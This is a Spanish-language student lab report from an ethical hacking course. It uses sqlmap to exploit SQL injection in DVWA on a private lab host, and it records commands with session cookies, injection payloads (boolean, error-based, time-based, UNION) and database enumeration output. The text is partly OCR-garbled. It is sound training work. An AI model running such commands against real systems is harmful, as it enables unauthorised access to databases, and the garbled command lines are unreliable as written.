

HACKING ÉTICO

Unidad 2. Actividad 23



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ESPECIALIZACIÓN DE CIBERSEGURIDAD

Índice

Portawigger Web Academy - SQLi......jError! Marcador no definido.

SQL Injection con SQL Map

Ejercicio 1: SQLMap en nivel de seguridad medio

El comando usado es:

```
$ sqlmap -u "http://l0.0.3.7/dvwa/vulnerabilities/sqli/?id=16Submit=Submit#" --cookie="language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=be2NXZML4xVkK0bRUeTgHvi2guMjcmvU2Wcb0FJofXMtYR0WQRq3691m08va; security=low; PHPSESSID=mi4rqvko5pnpldhsntoi1m3nig" --current-user --dbs --current-db
```

La solución dada es:

```
AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
  [14:20:10] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
[14:20:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[14:20:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[14:20:11] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' inj
ectable (with --not-string="Me")
                                              [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY OR GROUP BY clause (BIGINT UNSIGNED)'
[INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE OR HAVING clause (BIGINT UNSIGNED)'
[INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY OR GROUP BY clause (EXP)'
                               [12] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[12] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
[120] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable
[120] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[120] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[120] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (pot
[14:20:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at teast one other (potential) technique found [14:20:20] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [14:20:20] [INFO] target URL appears to have 2 columns in query [14:20:20] [INFO] target URL appears to have 2 columns in query [14:20:20] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [14:20:20] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 154 HTTP(s) requests:
```

El archivo log:

```
cali⊗kali)-[~/.../share/sqlmap/output/10.0.3.7]
sqlmap identified the following injection point(s) with a total of 154 HTTP(s) requests:
Parameter: id (GET)
        Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 3465=3465#6Submit=Submit
Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 4972 FROM(SELECT COUNT(*),CONCAT(0×716b717a71,(SELECT (ELT(4972=4972,1))),
0×716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- CGqy&Submit=Submit
       Type: time-based blind Title: MySQL \geqslant 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 9358 FROM (SELECT(SLEEP(5)))AFyN)-- ykkt&Submit=Submit
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0×716b717a71,0×6c64654547676b754e694f585373544b774a754c6b
51595662436156466c75726c566148426a714c,0×716b627671)#8Submit=Submit
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web server operating system: Linux bounts web application technology: Apache 2.4.41 back-end DBMS: MySQL ≥ 5.0 (MariaDB fork) current user: 'dvwa@localhost' current database: 'dvwa' available databases [6]:
 [*] dvna
[*] dvwa
       information_schema
  [*] mutillidae
       mysql
  [*] performance_schema
```

Ejercicio 2: Blind SQL en nivel de seguridad medio

El comando que he usado es:

```
(kali⊗ kali)-[~]

$ sqlmap -u "http://10.0.3.7/dvwa/vulnerabilities/sqli_blind/" --cookie="language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=be2NXZML4xVkK0bRUeTgHvi2guMjcmvU2Wcb0FJofXMtYR0WQRq3691m08va; security=medium; PHPSESSID=mi4rqvko5pnpldhsntoilm3nig" --data="id=16Submit=Submit" -p id -T users --tables --batch --threads 5 --dump
```

La solución que me ha dado es:



```
-(kali@kali)-[~/.../share/sqlmap/output/10.0.3.7]
sqlmap identified the following injection point(s) with a total of 236 HTTP(s) requests:
Parameter: id (POST)
     Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3590=3590&Submit=Submit
      Type: time-based blind
      Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2506 FROM (SELECT(SLEEP(5)))OAZP)∂Submit=Submit
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
Database: dvwa
[2 tables]
   guestbook
  users
Database: performance_schema
[52 tables]
   hosts
  accounts
   cond_instances
   events_stages_current
  events_stages_history
events_stages_history_long
  events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
   events_stages_summary_by_user_by_event_name
```

```
Database: mysql
[31 tables]
  event
  host
  plugin
  user
  column_stats
  columns_priv
  db
  func
  general_log
  generat_tog
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
  index stats
  innodb_index_stats
innodb_table_stats
  proc
  procs_priv
proxies_priv
  roles_mapping
  servers
  slow_log
table_stats
  tables_priv
  time_zone
time_zone_leap_second
time_zone_name
   time_zone_transition
| time_zone_transition_type
| transaction_registry
```

Database: information_schema [78 tables]	
ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS CLIENT_STATISTICS COLLATIONS COLLATION_CHARACTER_SET_APPLICABINE COLUMN_PRIVILEGES ENABLED_ROLES	Home Instructions Setup I Reset I Brute Force Command Inje
FILES GEOMETRY_COLUMNS GLOBAL_STATUS GLOBAL_VARIABLES INDEX_STATISTICS	File Inc. usion ork {} Style Editor {} Performance
INNODB_BUFFER_PAGE INNODB_BUFFER_PAGE_LRU INNODB_BUFFER_POOL_STATS INNODB_CMP INNODB_CMPMEM INNODB_CMPMEM_RESET	/dvwa/vulnerabilities/sgli_blind/ dvwaPage.js add_event_listeners.js logo.png favicon.ico
INNODB_CMP_PER_INDEX INNODB_CMP_PER_INDEX_RESET INNODB_CMP_RESET INNODB_FT_BEING_DELETED INNODB_FT_CONFIG INNODB_FT_DEFAULT_STOPWORD INNODB_FT_DEFED	